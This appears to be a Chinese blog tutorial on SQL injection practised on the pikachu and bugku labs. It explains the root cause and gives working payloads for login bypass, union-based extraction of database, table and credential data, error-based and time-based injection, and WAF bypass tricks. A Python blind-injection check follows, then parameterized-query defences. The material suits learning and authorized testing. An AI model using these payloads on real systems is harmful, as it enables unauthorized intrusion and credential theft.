1. 从一个登录框说起SQL注入的第一次亲密接触如果你问我入行网络安全踩过的第一个坑是什么我会说是那次SQL注入。准确地说是第一次在靶场登录框里输入 or 11#时页面直接跳转后台那几秒钟的恍惚感——原来密码都不用知道就能进系统。这个体验几乎每个做安全测试的人都经历过也是很多人对Web安全产生兴趣的起点。这篇文章不打算写成教科书而是把我自己在pikachu靶场和bugku平台上来来回回折腾SQL注入的过程拆开揉碎讲清楚SQL注入到底是什么、为什么一个引号就能翻天、万能密码的绕过逻辑建立在什么基础上、联合查询怎么一步步把数据库拖出来以及实际渗透测试中怎么验证一个注入点是真的能利用还是只是“疑似”。文中所涉及的操作全部在本地环境或CTF靶场完成这一点我放在最前面说也请你牢牢记住未经授权的系统一行测试语句都不许发。这篇内容适合三类人看刚接触Web安全想找个入门口子的人在pikachu或bugku上卡了几天没通关的人以及已经会“照着教程打”但不太明白为什么能打成的人。我会把我第一次实战时的原始操作记录、参数选择逻辑和翻车经验都贴出来。2. SQL注入到底是什么以及它为什么这么顽固2.1 核心原理就一句话把用户的输入拼进了SQL语句现在很多系统登录时的逻辑在代码里大概是这样的以PHP为例$username $_POST[username]; $password $_POST[password]; $sql SELECT * FROM users WHERE username {$username} AND password {$password}; $result mysqli_query($conn, $sql); if (mysqli_num_rows($result) 0) { // 登录成功 }问题就出在{$username}和{$password}是直接拼接进去的。开发者本意是让用户输入“用户名”但用户没义务按你想象的内容输入。当我输入用户名 admin、密码 or 11时这条SQL变成SELECT * FROM users WHERE username admin AND password or 11注意整个条件变成了usernameadmin AND password这个整体为假没关系后面还有个or 11恒为真所以整个WHERE条件的结果就是真。数据库查到了第一行用户系统就认为登录成功了。这本质上不是我“猜中了密码”而是我改变了SQL语句本身的执行逻辑。生活化类比这相当于你给门卫递了一张纸条纸条上写“让我进去”但你在纸条末尾加了一句“或者我是老板”。门卫的逻辑是“有合法身份就放行”你的附加条件绕过了他的判断。2.2 为什么SQL注入过了二十年还在SQL注入1998年就被公开提出来了到现在二十多年很多人觉得“这种老漏洞早就没了吧”。但你去各大SRC平台看看注入类漏洞依然是高危名单常客。原因很简单SQL注入的根因不是某个框架的bug而是“外部输入与代码指令没有彻底分离”。只要有人用拼接字符串的方式构造SQL注入就存在。还有一个容易被忽视的原因很多系统不是从零写的而是老系统缝缝补补。十年前的老代码新员工不敢动运维不知道里面有啥安全测试报了个高危漏洞业务部门说“这个查询太复杂了改不动”。于是注入就一代一代传下来。这也是我在实际做测试时最常遇到的情况——真正危险的安全问题往往不在新写的代码里而在没人敢碰的老代码里。3. 靶场环境准备pikachu和bugku到底怎么选3.1 十分钟把pikachu跑起来pikachu是一个专门为练习漏洞设计的PHP靶场内置了大量带漏洞的Web应用场景SQL注入只是其中一个模块。我推荐它的理由本地部署可控页面有源码展示方便对照“输入了什么”和“后台发生了什么”。部署步骤不复杂装一个本地PHP集成环境我用的是phpstudy你也可以用XAMPP。把pikachu源码丢到网站根目录。创建数据库pikachu导入提供的SQL文件。修改inc/config.inc.php里的数据库账号密码。访问首页初始化完成。这里有个我踩过的坑phpstudy默认端口是80如果电脑上其他服务占用了80端口启动会失败。我当时的解决方法是把Apache端口改成8080然后访问http://localhost:8080/pikachu。如果你遇到页面打不开优先检查数据库连接配置pikachu启动时不会主动报错白屏多半是连不上数据库。bugku则是线上CTF平台不用本地搭建适合碎片时间刷题。区别在于pikachu像“带答案的练习册”代码就在眼前方便理解原理bugku更像“闭卷考试”没提示新手容易卡住。我个人的建议是先pikachu把基础原理打通再去bugku验证自己是否真的理解了。3.2 第一次测试前必须搞清楚的两种注入类型上手前我把注入类型分了个类避免看到“字符型”“数字型”这些词就发懵用自己的话整理如下数字型参数直接拼在SQL里不加引号比如WHERE id1。你输入1 and 11就能影响逻辑不需要考虑引号闭合。字符型参数被单引号包裹比如WHERE nameadmin。要突破必须先闭合前面的引号再处理后面的内容。搜索型参数被LIKE %...%包裹比如WHERE name LIKE %key%。需要1% and 11这种写法来闭合。宽字节型数据库编码为GBK时用%df让转义符失效属于字符型的进阶版本。我强烈建议你在靶场上把每一类都过一遍因为很多新手上来只会“数字型注入”的套路遇到字符型就直接卡住甚至误判为“无注入点”。事实上字符型才是最普遍的。4. 完整实操从万能密码到联合查询拖库4.1 先干一步判断注入点到底在哪拿到任何注入测试第一步不是急着拼payload而是确认参数是否真的进入了SQL查询。我判断的标准是看“输入不同内容页面响应是否有规律变化”。以pikachu的字符型注入模块为例URL是长这样的http://localhost:8080/pikachu/vul/sqli/sqli_str.php?nameadmin先用正常数据测试输入admin页面显示查询到了用户信息输入kobe也存在显示另一条信息输入不存在提示“没有找到”。这里页面响应差异明显说明name参数的值大概率被拼进了SQL的WHERE子句中。接着输入一个单引号admin。如果什么都没发生说明参数根本没去数据库如果报错或者页面空白恭喜你大概率找到了突破口。在我第一次测试时输入的admin直接让页面显示SQL错误信息后台把错误堆栈都抛了出来。虽然看到报错挺兴奋但也要提醒生产环境别指望对方开着报错等你实际渗透中遇不到这么友好的响应那时就要用布尔盲注或时间盲注了。4.2 万能密码绕过的三种经典写法以及为什么有时候失败登录绕过是很多人接触SQL注入的第一个兴奋点。pikachu里有一个“登录绕过”模块我实测的有效写法有这些用户名: admin 密码: or 11# 用户名: admin or 11# 密码: 随便填 用户名: or 11# 密码: 随便填第三种写法把11简化成11SQL中常量比较恒为真效果相同。最后的#是注释符作用是把后面原本的AND password...整个“闭嘴”不参与条件判断。我第一次实操时失败了屏幕上显示的还是“用户名或密码错误”。排查了半天才发现问题出在三处密码框里我输入了 or 11#但URL编码后提交到了后端有些环境会把#当成页面锚点不传给服务器。解决办法是提交%23代替#。登录模块用了部分过滤单引号被转义成了\后面注入直接失效。这就是宽字节注入的用武之地后文会讲。密码框内容被拼到SQL时开发者故意在前面加了一个旧版代码才有的md5()处理。这种情况你先看源码或调试请求把逻辑捋顺了再说。万能密码的原理不是“有一个固定密码”而是你构造的用户名或密码本身成为了一条SQL语句的“一部分”。我建议不要死记写法而是去理解闭合和注释这两件事。4.3 联合查询把数据库的秘密借到页面上登录绕过只是第一步真正的重头戏是数据提取。pikachu靶场的字符型注入模块最适合练习联合查询。整体思路分四步每一步都有一个必须注意的细节。第一步确定列数。输入http://localhost:8080/pikachu/vul/sqli/sqli_str.php?nameadmin order by 3#页面正常。...?nameadmin order by 4#页面报错。说明原查询是3列。order by的原理是让数据库按指定列排序列不存在时必然报错用“报错边界”就能试出列数。这个操作我一般从1开始递增不要一下跳到10既容易混淆还浪费时间。第二步确定哪些列可以回显。...?nameadmin union select 1,2,3#正常逻辑下数据库返回第一行是admin这条记录第二行才是union出来的结果。但页面上往往只显示第一行数据所以要先让前面的条件查不出东西...?namex union select 1,2,3#这样前面的namex查不到任何行union的结果就会显示在页面上。我见太多新手卡在这一步因为他们加了union但页面没变化以为是注入不成功其实只是没把原查询结果“清空”。页面上的显示位通常是2和3也就是说select 2,3这两个位置可以显示数据。第三步拖出数据库名。...?namex union select 1,database(),3#页面字段2位置出现pikachu数据库名到手。第四步查表名、字段名、数据。查表名的语句...?namex union select 1,table_name,3 from information_schema.tables where table_schemadatabase()#information_schema是MySQL自带的元数据库记录了所有库、表、字段的信息。第一次执行这句时我直观感受到了“为什么说SQL注入危险”——你在用数据库自己的查询机制读取它自己的“户口本”。查到表名后继续...?namex union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers#最后拖数据...?namex union select 1,group_concat(username,:,password),3 from pikachu.users#后面两步建议一次查询多列字段用group_concat把多行压成一行显示省得页面卡顿。4.4 中文字段的编码坑与报错注入我在bugku上遇到过一个题目联合查询查字段名时输出的中文字段一切正常但一旦where table_name用户表这种写法带了中文条件页面就白屏。后来才搞清楚是编码问题URL里的中文字符需要编码PHP端和MySQL端的字符集不一致导致条件匹配不上。报错注入是在“页面不回显查询结果”时的好帮手。pikachu里故意留了一处报错注入用到的语句...?namex AND updatexml(1,concat(0x7e,(select database())),1)#updatexml()本身是一个用来修改XML文档的函数但当第二个参数格式非法时MySQL会抛出错误并将报错信息回显到页面上。0x7e是波浪号用来确保报错内容能被看到。这个思路的本质把你想查的内容放进一个注定报错的位置让数据库替你说出来。5. 在实际渗透测试中怎么验证一个SQL注入是真实可利用的5.1 你是不是把“有报错”当成了“能注入”我在靶场玩得顺了以后第一次在真实授权的测试目标上实践碰了一鼻子灰。原因是我把“页面报错”和“SQL注入”划了等号。后来我总结出一套自己的验证顺序分享出来看响应差异分别提交1 and 11和1 and 12如果页面内容在两种条件下表现不同说明参数与数据库查询结果有联动关系。这是布尔盲注的基础。看时间差异提交1 AND sleep(5)如果页面真的卡了5秒才响应说明输入被拼进了SQL且能执行函数。这是时间盲注的基础。看报错信息提交1 AND updatexml(1,concat(0x7e,database()),1)如果报错内容里出现了数据库名说明存在报错注入点。看能否被注释提交1#如果页面正常说明单引号未被拦截且注释生效。一个注入点的证实标准至少要满足上述四种现象中的一种并且要能稳定复现。如果只满足第一条页面响应有差异但没法进一步提取数据那可能只是“可探测”但“不可利用”不要急于写报告继续尝试其他方式。5.2 过滤绕过单引号被转义、空格被过滤怎么办真实环境没有几个是让你裸奔的。最常见的过滤是单引号被转义在单引号前加反斜杠。绕过方式第一个想到的就是宽字节当数据库使用GBK编码时输入%df%df和后面的反斜杠\组合会被解析成一个宽字符单引号就“逃”了出来。空格被过滤时可以用注释符代替空格比如/**/或者用%0a换行符、%09制表符等URL编码代替。有些WAF还会过滤union、select这类关键词常见的替代方案是大小写混合UnIoN SeLeCt、内联注释/*!union*/、双重编码等。但我要强调绕WAF的“性价比”很低每层过滤都要花大量时间尝试而且WAF规则是在变的。我在实际工作中更倾向于先报告注入点存在性再把绕过验证作为加分项而不是死磕。5.3 Python脚本验证用自动化代替手工重复劳动手工测试注入点非常耗时我第二次做实际测试时就开始写Python脚本辅助。一个最小可用的布尔盲注验证脚本核心思路是“对比两次请求的响应长度”import requests url http://localhost:8080/pikachu/vul/sqli/sqli_str.php params_true {name: x AND 11#} params_false {name: x AND 12#} resp1 requests.get(url, paramsparams_true) resp2 requests.get(url, paramsparams_false) if len(resp1.text) ! len(resp2.text): print([] 存在布尔盲注点) else: print([-] 未检测到响应差异)把这个思路扩展一下就可以写一个逐字符猜解数据库名的脚本从0到9、a到z逐个尝试用SUBSTRING(database(),1,1)a这种条件去触发布尔差异。虽然效率不高但这是手工无法完成的任务也是了解自动化工具工作原理的最佳途径。sqlmap确实是好东西但我一直建议先用脚本把原理跑通否则你连sqlmap的--technique参数为什么要分那么多种类都看不懂。6. 防护视角打完这么多次才真正理解参数化查询为什么是金标准6.1 把输入当数据而不是当代码当我站在攻击者视角反复折腾SQL注入之后再回来看防御理解的深度完全不同了。防护的核心不是“过滤危险字符”而是“从架构上让输入不可能进入SQL执行逻辑”。最佳实践就是参数化查询预编译语句。同样是登录查询改写后的PHP写法$stmt $conn-prepare(SELECT * FROM users WHERE username ? AND password ?); $stmt-bind_param(ss, $username, $password); $stmt-execute();关键区别在于?是占位符用户输入的内容被数据库当作“一个字符串值”处理而不是SQL指令的一部分。哪怕你输入 or 11它也只是一个普通字符串不会改变查询逻辑。这个方案不是“更努力地过滤”而是直接釜底抽薪。我见过一些团队以为“加了WAF就安全了”但WAF的思路是匹配已知攻击特征SQL注入的变体是无穷的单靠规则总有绕过空间。参数化查询是从根上解决WAF只适合作为第二层补充而不是裸奔时的遮羞布。6.2 输入校验、最小权限和报错治理除了参数化查询还有几条我实际参与代码审计时一定会看的点输入校验对整型参数用intval()强行转换对字符串做白名单校验或严格模式匹配宁可少放行不可多放行。最小权限应用程序连接数据库的账号不要一上来就是root或DBA。只给查询所需的最小权限即使出现注入攻击者能做的也极其有限。关闭详细报错生产环境不要向用户展示SQL错误堆栈日志里记录倒是必要。很多注入从“发现到拖库”最初的线索都来自页面上的错误信息。历史代码改造优先级如果老系统代码量很大建议按“是否涉及用户输入”“是否涉及敏感数据”两个维度排优先级先改登录、查询、导出这类模块不要想着一个月把所有代码全部参数化这不现实。制定规则的时候我会反复用“如果我是攻击者这个模块有哪些入口”来检验。防御方最容易犯的错是想当然地认为“用户不会那么输入”。我此前也是那么想的直到我成了那个“随便输入”的用户。7. 常见问题速查靶场卡关时对照这张表自查我整理了一张高频问题清单是我在群里被问过最多的情况以及对应的排查思路。现象可能原因排查方向输入单引号后页面无变化参数没进入SQL或开发者做了全局转义尝试宽字节%df或用\测试转义情况union注入后页面还是旧数据前面查询有结果占了显示位把原条件改为不可能成立的x#注释符不生效被URL当成锚点或后端过滤注释符换成%23或改用--、-- -order by测试一直报错列数可能远大于预估值或者存在查询缓存从小数值开始逐步递增并清缓存观察差异登录绕过失败存在转义或密码被加密处理先看源码和请求包确定拼接逻辑再构造闭合页面返回500可能是SQL语法错误触发了异常将报错信息保存分析具体是哪部分语法不合法时间盲注一直不延迟函数被禁用或网络本身就慢干扰判断用固定sleep值多次对比排除网络抖动排查时我习惯先用Burp Suite重放请求直接在抓包里调整payload比在URL框里反复改地址要高效得多。还要注意Cookie中的参数也可能存在注入不要只盯着GET参数。8. 最后一件事边界和原则说实话我写这篇文章时心里一直绷着一根弦。SQL注入是安全领域最经典的入门漏洞但也正因为“效果好、上手快”很容易让人产生“我可以对任意网站试试”的危险念头。我自己的原则很简单没有书面授权的目标一律不碰。靶场不够玩还可以去各大平台的正规CTF比赛和法律允许的漏洞赏金项目里练手那里有足够多的真实业务场景能让你长期保持兴奋感和技术热情。关于SQL注入我个人踩过的最深的一个坑不是技术上的而是在一个授权测试里查到了大量敏感数据后只顾着证明“我能拖库”却忽略了及时上报和脱敏处理。那次之后我明白安全测试的价值在于帮业务发现问题而不是展示自己多能“攻破”。你每做一次测试都应该想着“如果这些数据落到坏人手里会怎样”然后把精力用在推动修复上这才是这行真正的成就感来源。